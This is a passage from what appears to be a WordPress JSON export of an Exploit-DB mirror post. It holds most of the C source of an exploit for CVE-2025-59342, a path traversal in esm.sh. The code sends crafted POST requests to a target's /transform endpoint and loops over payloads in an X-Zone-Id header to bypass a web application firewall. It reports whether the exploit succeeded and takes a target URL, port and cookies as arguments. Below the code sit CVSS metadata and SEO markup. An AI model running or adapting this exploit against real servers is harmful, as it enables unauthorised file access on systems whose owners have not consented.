\\&#8221;notZero:\\\\n\\\\t\\&#8221;\\r\\n                 \\&#8221;mov $0x1, %%rax\\\\n\\\\t\\&#8221;\\r\\n                 \\&#8221;mov $0x1, %%rdi\\\\n\\\\t\\&#8221;\\r\\n                 \\&#8221;movq %[size11], %%rsi\\\\n\\\\t\\&#8221;\\r\\n                 \\&#8221;mov %[len11], %%rdx\\\\n\\\\t\\&#8221;\\r\\n                 \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n                 \\&#8221;finish11:\\\\n\\\\t\\&#8221;\\r\\n                :\\r\\n                : [var11] \\&#8221;r\\&#8221; ((int)found),\\r\\n                  [size11] \\&#8221;r\\&#8221; ((const char *)mes11),\\r\\n                  [len11] \\&#8221;r\\&#8221; (len11)\\r\\n                :\\&#8221;rax\\&#8221;, \\r\\n                 \\&#8221;rdi\\&#8221;, \\r\\n                 \\&#8221;rsi\\&#8221;, \\r\\n                 \\&#8221;rdx\\&#8221;,\\r\\n                 \\&#8221;r11\\&#8221;, \\r\\n                 \\&#8221;rcx\\&#8221;, \\r\\n                 \\&#8221;memory\\&#8221;\\r\\n                 \\r\\n             );\\r\\n            \\r\\n           \\r\\n        }\\r\\n        else\\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;31m[-] Http code Not range (200 &#8211; 300)\\\\e[0m\\\\n\\&#8221;);\\r\\n            printf(\\&#8221;\\\\e[0;31m[-] Please check url and port.\\\\e[0m\\\\n\\&#8221;);\\r\\n        }\\r\\n        printf(\\&#8221;\\\\e[0;35m[+] Result Exploit :\\\\e[0m\\\\n\\&#8221;);\\r\\n\\r\\n        if (code == 1 \\u0026\\u0026 found == 0)\\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;36m[+] HTTP code positive and expected word found: Exploit succeeded (CVE-2025-59342).\\\\e[0m\\\\n\\&#8221;);\\r\\n        }\\r\\n        else if (code == 1 \\u0026\\u0026 found != 0)\\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;36m[+] HTTP code positive but expected word not found: Partial success (CVE-2025-59342).\\\\e[0m\\\\n\\&#8221;);\\r\\n        }\\r\\n        else if (code != 1 \\u0026\\u0026 found == 0)\\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;31m[-] HTTP code negative but word found: Unexpected result (CVE-2025-59342).\\\\e[0m\\\\n\\&#8221;);\\r\\n        }\\r\\n        else \\r\\n        {\\r\\n            printf(\\&#8221;\\\\e[0;31m[-] Exploitation did not succeed.\\\\e[0m\\\\n\\&#8221;);\\r\\n        }\\r\\n\\r\\n    }\\r\\n    else\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[0;31m[-] Error Send Request !\\\\e[0m\\\\n\\&#8221;);\\r\\n        printf(\\&#8221;\\\\e[0;31m[-] Error : %s\\\\n\\&#8221;, curl_easy_strerror(res));\\r\\n        exit64bit();\\r\\n    }\\r\\n    curl_easy_cleanup(curl);\\r\\n    free(response.buffer);\\r\\n}\\r\\n\\r\\nvoid bypass(const char* urlB)\\r\\n{\\r\\n    struct Mem responseBypass;\\r\\n    responseBypass.buffer = NULL;\\r\\n    responseBypass.len = 0;\\r\\n\\r\\n    const char* mes14 = \\&#8221;\\\\e[0;34m[+] Buffer Clean Success.\\\\e[0m\\\\n\\&#8221;;\\r\\n    size_t len14 = strlen(mes14);\\r\\n    __asm__ volatile (\\r\\n        \\&#8221;test %[buffer1], %[buffer1]\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;jz  L_print_clean1\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;L_continue1:\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;jmp L_done1\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;L_print_clean1:\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;mov $0x1, %%rax\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;mov $0x1, %%rdi\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;movq %[msg14], %%rsi\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;mov %[len14], %%rdx\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n        \\&#8221;L_done1:\\\\n\\\\t\\&#8221;\\r\\n        :\\r\\n        : [buffer1] \\&#8221;r\\&#8221; ((const char*)responseBypass.buffer),\\r\\n          [msg14]    \\&#8221;r\\&#8221; (mes14),\\r\\n          [len14]  \\&#8221;r\\&#8221; (len14)\\r\\n        :   \\&#8221;rax\\&#8221;,\\r\\n            \\&#8221;rdi\\&#8221;,\\r\\n            \\&#8221;rsi\\&#8221;,\\r\\n            \\&#8221;rdx\\&#8221;,\\r\\n            \\&#8221;rcx\\&#8221;,\\r\\n            \\&#8221;r11\\&#8221;,\\r\\n            \\&#8221;memory\\&#8221;\\r\\n        );\\r\\n    CURL* curl = curl_easy_init();\\r\\n    if (curl == NULL)\\r\\n    {\\r\\n        fprintf(stderr,\\&#8221;[-] Error Create Object CURL !\\\\n\\&#8221;);\\r\\n        exit64bit();\\r\\n    }\\r\\n    CURLcode res1;\\r\\n    char postData[POST_DATA];\\r\\n    int len15 = snprintf(postData, \\r\\n        POST_DATA, \\r\\n        \\&#8221;{\\\\\\&#8221;filename\\\\\\&#8221;:\\\\\\&#8221;cve.js\\\\\\&#8221;,\\\\\\&#8221;lang\\\\\\&#8221;:\\\\\\&#8221;js\\\\\\&#8221;,\\\\\\&#8221;code\\\\\\&#8221;:\\\\\\&#8221;console.log(&#8216;Exploit!&#8217;);\\\\\\&#8221;,\\\\\\&#8221;importMap\\\\\\&#8221;:{\\\\\\&#8221;imports\\\\\\&#8221;:{\\\\\\&#8221;react\\\\\\&#8221;:\\\\\\&#8221;https:\/\/esm.sh\/react\\\\\\&#8221;,\\\\\\&#8221;react-dom\\\\\\&#8221;:\\\\\\&#8221;https:\/\/esm.sh\/react-dom\\\\\\&#8221;}},\\\\\\&#8221;jsxImportSource\\\\\\&#8221;:\\\\\\&#8221;react\\\\\\&#8221;,\\\\\\&#8221;target\\\\\\&#8221;:\\\\\\&#8221;es2022\\\\\\&#8221;,\\\\\\&#8221;sourceMap\\\\\\&#8221;:\\\\\\&#8221;external\\\\\\&#8221;,\\\\\\&#8221;minify\\\\\\&#8221;:true}\\&#8221;);\\r\\n    if (checkLen(len15, \\r\\n        postData, \\r\\n        POST_DATA) == 1)\\r\\n    {\\r\\n        fprintf(stderr,\\r\\n            \\&#8221;[-] Error write post data !\\\\e[0m\\\\n\\&#8221;);\\r\\n        exit64bit();\\r\\n    }\\r\\n    if (curl)\\r\\n    {\\r\\n        for (int i = 0; payloads[i] != NULL; i++)\\r\\n        {\\r\\n            struct curl_slist* h = NULL;\\r\\n            char fullURL[FULL_URL];\\r\\n            snprintf(fullURL, \\r\\n                FULL_URL, \\r\\n                \\&#8221;%s\/transform\\&#8221;, \\r\\n                urlB);\\r\\n            char hLine[1024];\\r\\n            snprintf(hLine, \\r\\n                1024, \\r\\n                \\&#8221;X-Zone-Id: %s\\&#8221;, \\r\\n                payloads[i]);\\r\\n\\r\\n            h = curl_slist_append(h, hLine);\\r\\n            h = curl_slist_append(h, \\r\\n                \\&#8221;User-Agent: Den\/8.7.1\\&#8221;);\\r\\n            h = curl_slist_append(h, \\r\\n                \\&#8221;Content-Type: application\/json\\&#8221;);\\r\\n            curl_easy_setopt(curl, \\r\\n                CURLOPT_URL, \\r\\n                fullURL);\\r\\n            curl_easy_setopt(curl, \\r\\n                CURLOPT_HTTPHEADER, \\r\\n                h);\\r\\n            if (cF)\\r\\n            {\\r\\n\\r\\n                curl_easy_setopt(curl,\\r\\n                    CURLOPT_COOKIEFILE,\\r\\n                    cookies);\\r\\n                curl_easy_setopt(curl,\\r\\n                    CURLOPT_COOKIEJAR,\\r\\n                    cookies);\\r\\n\\r\\n            }\\r\\n            curl_easy_setopt(curl,\\r\\n                CURLOPT_POSTFIELDS, \\r\\n                postData);\\r\\n            curl_easy_setopt(curl, \\r\\n                CURLOPT_POSTFIELDSIZE, \\r\\n                (long)strlen(postData));\\r\\n            curl_easy_setopt(curl, \\r\\n                CURLOPT_WRITEFUNCTION, \\r\\n                write_cb);\\r\\n            curl_easy_setopt(curl, \\r\\n                CURLOPT_WRITEDATA, \\r\\n                \\u0026responseBypass);\\r\\n            struct timespec rqtp, rmtp;\\r\\n            rqtp.tv_sec = 1;\\r\\n            rqtp.tv_nsec = 500000000;\\r\\n            register long r10R asm(\\&#8221;r10\\&#8221;);\\r\\n            r10R = 0;\\r\\n            printf(\\&#8221;\\\\e[0;33m[+] Sleep (%ld seconds) \\u0026\\u0026 (%ld nanoseconds)&#8230;\\\\e[0m\\\\n\\&#8221;,\\r\\n                rqtp.tv_sec, rqtp.tv_nsec);\\r\\n            int ret;\\r\\n            __asm__ volatile\\r\\n                (\\r\\n                    \\&#8221;syscall\\&#8221;\\r\\n                    : \\&#8221;=a\\&#8221;(ret)\\r\\n                    : \\&#8221;a\\&#8221;(0xE6),\\r\\n                    \\&#8221;D\\&#8221;((long)0),\\r\\n                    \\&#8221;S\\&#8221;((long)0),\\r\\n                    \\&#8221;d\\&#8221;(\\u0026rqtp),\\r\\n                    \\&#8221;r\\&#8221;(r10R)\\r\\n                    : \\&#8221;rcx\\&#8221;,\\r\\n                    \\&#8221;r11\\&#8221;,\\r\\n                    \\&#8221;memory\\&#8221;\\r\\n                    );\\r\\n            curl_easy_setopt(curl,\\r\\n                CURLOPT_TIMEOUT,\\r\\n                10L);\\r\\n            curl_easy_setopt(curl,\\r\\n                CURLOPT_SSL_VERIFYPEER,\\r\\n                0L);\\r\\n            curl_easy_setopt(curl,\\r\\n                CURLOPT_SSL_VERIFYHOST,\\r\\n                0L);\\r\\n            res1 = curl_easy_perform(curl);\\r\\n            curl_slist_free_all(h); \\r\\n            if (res1 == CURLE_OK)\\r\\n            {\\r\\n                long httpC;\\r\\n                printf(\\&#8221;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\\\n\\&#8221;);\\r\\n                printf(\\&#8221;\\\\e[1;36m[+] Request sent successfully\\\\e[0m\\\\n\\&#8221;);\\r\\n                printf(\\&#8221;[+] Payload Test : %s\\\\n\\&#8221;, payloads[i]);\\r\\n\\r\\n                curl_easy_getinfo(curl, \\r\\n                    CURLINFO_RESPONSE_CODE,\\r\\n                    \\u0026httpC);\\r\\n                printf(\\&#8221;[+] Http code : %ld\\\\n\\&#8221;, \\r\\n                    httpC);\\r\\n                \\r\\n                if (responseBypass.buffer != NULL)\\r\\n                {\\r\\n                    printf(\\&#8221;\\\\e[0;35m=============================================== [RESPONSE] ===============================================\\\\e[0m\\\\n\\&#8221;);\\r\\n                    printf(\\&#8221;%s\\\\n\\&#8221;, responseBypass.buffer);\\r\\n                    printf(\\&#8221;\\\\e[0;35m==========================================================================================================\\\\e[0m\\\\n\\&#8221;);\\r\\n                    if (httpC == 501 || strstr(responseBypass.buffer, \\r\\n                        \\&#8221;Unsupported method\\&#8221;) != NULL)\\r\\n                    {\\r\\n                        printf(\\&#8221;[-] Please check target URL, The server does not support the POST request.\\\\n\\&#8221;);\\r\\n                    }\\r\\n                    else\\r\\n                    {\\r\\n                        __asm__ volatile(\\&#8221;nop\\&#8221;);\\r\\n                    }\\r\\n                }\\r\\n                else\\r\\n                {\\r\\n                    printf(\\&#8221;[-] Response NULL !\\\\n\\&#8221;);\\r\\n                    exit64bit();\\r\\n                }\\r\\n                if (httpC \\u003e= 200 \\u0026\\u0026 httpC \\u003c 300)\\r\\n                {\\r\\n                    if (code == 0)\\r\\n                    {\\r\\n                        printf(\\&#8221;[+] Bypass Waf Success.\\\\n\\&#8221;);\\r\\n                    }\\r\\n                    else\\r\\n                    {\\r\\n                        printf(\\&#8221;[-] The server&#8217;s response is still negative !\\\\n\\&#8221;);\\r\\n                    }\\r\\n                    if (responseBypass.buffer != NULL)\\r\\n                    {\\r\\n                        printf(\\&#8221;\\\\e[0;35m=============================================== [RESPONSE] ===============================================\\\\e[0m\\\\n\\&#8221;);\\r\\n                        printf(\\&#8221;%s\\\\n\\&#8221;, responseBypass.buffer);\\r\\n                        printf(\\&#8221;%zu\\\\n\\&#8221;, responseBypass.len);\\r\\n                        printf(\\&#8221;\\\\e[0;35m==========================================================================================================\\\\e[0m\\\\n\\&#8221;);\\r\\n                        free(responseBypass.buffer);\\r\\n                        responseBypass.buffer = NULL;\\r\\n                        responseBypass.len = 0;\\r\\n                    }\\r\\n                    else\\r\\n                    {\\r\\n                        printf(\\&#8221;[-] Response NULL (Bypass WAF) !\\\\n\\&#8221;);\\r\\n                        exit64bit();\\r\\n                    }\\r\\n                    \\r\\n                }\\r\\n                else\\r\\n                {\\r\\n                    printf(\\&#8221;[-] Http code Not 200-300 !\\\\n\\&#8221;);\\r\\n                    printf(\\&#8221;[+] Waf detect OR check input base url \/ port.\\\\n\\&#8221;);\\r\\n                }\\r\\n            }\\r\\n            \\r\\n        }\\r\\n\\r\\n    }\\r\\n    else\\r\\n    {\\r\\n        printf(\\&#8221;[-] Error Send Request !\\\\n\\&#8221;);\\r\\n    }\\r\\n    curl_easy_cleanup(curl);   \\r\\n}\\r\\nint main(int argc,\\r\\n    const char** argv)\\r\\n{\\r\\n    printf(\\&#8221;\\\\e[1;37m+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+\\\\e[0m\\\\n\\&#8221;);\\r\\n    printf(\\&#8221;\\\\e[1;37m| Author : Byte Reaper  |\\\\e[0m\\\\n\\&#8221;);\\r\\n    printf(\\&#8221;\\\\e[1;37m| CVE : CVE-2025-59342  |\\\\e[0m\\\\n\\&#8221;);\\r\\n    printf(\\&#8221;\\\\e[1;37m| Vuln : Path Traversal |\\\\e[0m\\\\n\\&#8221;);\\r\\n    printf(\\&#8221;\\\\e[1;37m+&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;+\\\\e[0m\\\\n\\&#8221;);\\r\\n    printf(\\&#8221;\\\\e[1;30m&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;\\\\e[0m\\\\n\\&#8221;);\\r\\n    printf(\\&#8221;[+] Check Your os&#8230;\\\\n\\&#8221;);\\r\\n    struct utsname os;\\r\\n    __asm__ volatile\\r\\n        (\\r\\n            \\&#8221;mov %0, %%rdi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $0x3F, %%rax\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n            :\\r\\n            : \\&#8221;r\\&#8221;(\\u0026os)\\r\\n            : \\&#8221;rax\\&#8221;,\\r\\n              \\&#8221;rdi\\&#8221;\\r\\n          );\\r\\n    printf(\\&#8221;\\\\e[0;36m[+] System Name: %s\\\\e[0m\\\\n\\&#8221;, os.sysname);\\r\\n    printf(\\&#8221;\\\\e[0;36m[+] Machine    : %s\\\\e[0m\\\\n\\&#8221;, os.machine);\\r\\n    if (strstr(os.sysname, \\&#8221;Linux\\&#8221;) != NULL)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[0;36m[+] Linux OS, Check Machine architecture&#8230;\\\\e[0m\\\\n\\&#8221;);\\r\\n    }\\r\\n    else\\r\\n    {\\r\\n        printf(\\&#8221;[-] OS Not Linux 64 bit (%s),Exit&#8230;\\\\e[0m\\\\n\\&#8221;, os.sysname);\\r\\n        printf(\\&#8221;[+] Please RUN exploit in linux.\\\\n\\&#8221;);\\r\\n        exit64bit();\\r\\n    }\\r\\n    if (strstr(os.machine, \\&#8221;x86_64\\&#8221;) != NULL)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[0;36m[+] Machine architecture is 64 bit, run exploit&#8230;\\\\e[0m\\\\n\\&#8221;);\\r\\n    }\\r\\n    else\\r\\n    {\\r\\n        printf(\\&#8221;[-] OS Not architecture 64 bit (%s), Exit&#8230;\\\\e[0m\\\\n\\&#8221;, os.machine);\\r\\n        exit64bit();\\r\\n    }\\r\\n    const char* url = NULL;\\r\\n    struct argparse_option options[] =\\r\\n    {\\r\\n        OPT_HELP(),\\r\\n        OPT_STRING(&#8216;u&#8217;,\\r\\n                    \\&#8221;url\\&#8221;,\\r\\n                    \\u0026url,\\r\\n                    \\&#8221;Enter Target URL.\\&#8221;),\\r\\n        OPT_INTEGER(&#8216;p&#8217;,\\r\\n                    \\&#8221;port\\&#8221;,\\r\\n                    \\u0026selectPort,\\r\\n                    \\&#8221;Enter Target PORT.\\&#8221;),\\r\\n        OPT_BOOLEAN(&#8216;v&#8217;,\\r\\n                    \\&#8221;verbose\\&#8221;,\\r\\n                    \\u0026verbose,\\r\\n                    \\&#8221;Verbose Mode.\\&#8221;),\\r\\n       OPT_STRING(&#8216;c&#8217;,\\r\\n                  \\&#8221;cookies\\&#8221;,\\r\\n                  \\u0026cookies,\\r\\n                  \\&#8221;Enter File cookies.\\&#8221;),\\r\\n        OPT_STRING(&#8216;k&#8217;,\\r\\n                    \\&#8221;payload\\&#8221;,\\r\\n                    \\u0026payload,\\r\\n                    \\&#8221;Enter Payload.\\&#8221;),\\r\\n         OPT_BOOLEAN(&#8216;b&#8217;,\\r\\n                    \\&#8221;bypass\\&#8221;,\\r\\n                    \\u0026sP,\\r\\n                    \\&#8221;Arg Bypass WAF.\\&#8221;),\\r\\n        OPT_END()\\r\\n    };\\r\\n    struct argparse argparse;\\r\\n    argparse_init(\\u0026argparse,\\r\\n        options,\\r\\n        NULL,\\r\\n        0);\\r\\n    argparse_parse(\\u0026argparse,\\r\\n        argc,\\r\\n        argv);\\r\\n\\r\\n    if (!url)\\r\\n    {\\r\\n        printf(\\&#8221;\\\\e[0;31m[-] Please Enter Target IP OR URl !\\\\e[0m\\\\n\\&#8221;);\\r\\n        printf(\\&#8221;\\\\e[0;31m[!] Exemple : .\/CVE-2025-59342 -u http:\/\/TARGET\\\\e[0m\\\\n\\&#8221;);\\r\\n        __asm__ volatile\\r\\n         (\\r\\n            \\&#8221;xor %%rdi, %%rdi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $0x3C, %%rax\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;1:\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n            :\\r\\n            :\\r\\n            : \\&#8221;rax\\&#8221;, \\r\\n              \\&#8221;rdi\\&#8221;, \\r\\n              \\&#8221;rsi\\&#8221;\\r\\n            );\\r\\n    }\\r\\n    if (verbose)\\r\\n    {\\r\\n        __asm__ volatile\\r\\n        (\\r\\n            \\&#8221;add $0x1, %[var6]\\\\n\\\\t\\&#8221;\\r\\n            : [var6] \\&#8221;+r\\&#8221; (verbose)\\r\\n            :\\r\\n            :\\r\\n         );\\r\\n    }\\r\\n    else\\r\\n    {\\r\\n        __asm__ volatile\\r\\n            (\\r\\n                \\&#8221;mov $0x0, %[var7]\\\\n\\\\t\\&#8221;\\r\\n                : [var7] \\&#8221;=r\\&#8221; (verbose)\\r\\n                :\\r\\n                :\\r\\n                );\\r\\n    }\\r\\n    flagPort = (selectPort != -1);\\r\\n    \\r\\n    if (payload != NULL)\\r\\n    {\\r\\n        s = 1;\\r\\n    }\\r\\n    else\\r\\n    {\\r\\n        s = 0;\\r\\n    }\\r\\n    if (sP) \\r\\n    {\\r\\n        bypass(url);\\r\\n    }\\r\\n    else\\r\\n    {\\r\\n        request(url); \\r\\n    }\\r\\n    printf(\\&#8221;\\\\e[0;36m[+] Finish Script.\\\\n\\&#8221;);\\r\\n    __asm__ volatile\\r\\n        (\\&#8221;mov $0x3C, %%rax\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;mov $0x0, %%rdi\\\\n\\\\t\\&#8221;\\r\\n            \\&#8221;syscall\\\\n\\\\t\\&#8221;\\r\\n            :\\r\\n            :\\r\\n            :\\&#8221;rax\\&#8221;, \\&#8221;rdi\\&#8221;\\r\\n            );\\r\\n}&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/www.exploit-db.com\/raw\/52461&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:6.9,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:N\/SC:N\/VI:L\/SI:N\/VA:N\/SA:N\/E:P&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.exploit-db.com\/exploits\/52461&#8243;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-16T08:46:49&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: esm-dev 136 &#8211; Path Traversal Date: 2025-07-11 Exploit Author: Byte Reaper Vendor Homepage: https:\/\/github.com\/esm-dev\/esm.sh Software Link: https:\/\/github.com\/esm-dev\/esm.sh CVE-2025-59342 &#8211; File : exploit.c &#8211;&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,48,12,40,21,13,7,11,5],"class_list":["post-31285","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-69","tag-exploit","tag-exploitdb","tag-medium","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>esm-dev 136 - Path Traversal_EDB-ID:52461 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=31285\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"esm-dev 136 - Path Traversal_EDB-ID:52461 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-16T08:46:49&#8243;,&#8221;description&#8221;:&#8221;Exploit Title: esm-dev 136 &#8211; Path Traversal Date: 2025-07-11 Exploit Author: Byte Reaper Vendor Homepage: https:\/\/github.com\/esm-dev\/esm.sh Software Link: https:\/\/github.com\/esm-dev\/esm.sh CVE-2025-59342 &#8211; File : exploit.c &#8211;...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=31285\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-16T03:51:14+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"25 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31285#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31285\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"esm-dev 136 &#8211; Path Traversal_EDB-ID:52461\",\"datePublished\":\"2025-12-16T03:51:14+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31285\"},\"wordCount\":5066,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-6.9\",\"exploit\",\"exploitdb\",\"MEDIUM\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31285#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31285\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31285\",\"name\":\"esm-dev 136 - Path Traversal_EDB-ID:52461 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-16T03:51:14+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31285#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=31285\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=31285#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"esm-dev 136 &#8211; Path Traversal_EDB-ID:52461\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero 